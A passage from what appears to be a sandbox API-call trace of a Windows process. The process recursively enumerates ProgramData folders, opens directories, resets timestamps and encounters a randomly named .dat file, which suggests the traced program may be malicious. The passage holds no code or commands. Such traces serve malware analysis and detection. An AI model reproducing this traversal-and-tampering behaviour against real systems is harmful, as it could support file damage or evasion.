RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7778 [0091.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135bf30 [0091.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.777] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.002", cAlternateFileName="")) returned 1 [0091.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7798 [0091.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135c038 [0091.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.779] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.002", cAlternateFileName="")) returned 0 [0091.779] GetLastError () returned 0x12 [0091.779] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9240 [0091.779] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0091.779] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.779] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.000", cAlternateFileName="")) returned 1 [0091.780] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.001", cAlternateFileName="")) returned 1 [0091.780] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.002", cAlternateFileName="")) returned 1 [0091.780] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.002", cAlternateFileName="")) returned 0 [0091.780] GetLastError () returned 0x12 [0091.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135ab98) returned 1 [0091.780] FindClose (in: hFindFile=0x2e9240 | out: hFindFile=0x2e9240) returned 1 [0091.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aca0) returned 1 [0091.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.780] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 0 [0091.780] GetLastError () returned 0x12 [0091.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a778) returned 1 [0091.781] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a670) returned 1 [0091.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.781] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 0 [0091.781] GetLastError () returned 0x12 [0091.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a460) returned 1 [0091.782] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.782] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 1 [0091.782] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4810000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows.edb", cAlternateFileName="")) returned 0 [0091.782] GetLastError () returned 0x12 [0091.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbb80) returned 1 [0091.783] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fba70) returned 1 [0091.783] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.783] GetLastError () returned 0x12 [0091.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.783] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.784] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0091.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x422b7290, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.785] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.786] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.786] NtClose (Handle=0x16c) returned 0x0 [0091.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.787] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.787] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.787] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.787] GetLastError () returned 0x12 [0091.787] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.787] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.787] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.787] GetLastError () returned 0x12 [0091.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.788] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.788] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0091.788] GetLastError () returned 0x12 [0091.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.789] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0091.789] GetLastError () returned 0x12 [0091.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.790] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.793] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="")) returned 1 [0091.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.793] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.794] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures" (normalized: "c:\\users\\all users\\microsoft\\user account pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.794] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.794] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.795] NtClose (Handle=0x15c) returned 0x0 [0091.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.796] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.796] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.798] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="")) returned 1 [0091.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f77b8 [0091.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.800] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="")) returned 1 [0091.800] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0091.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f77d8 [0091.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.802] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0091.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f77f8 [0091.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.804] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 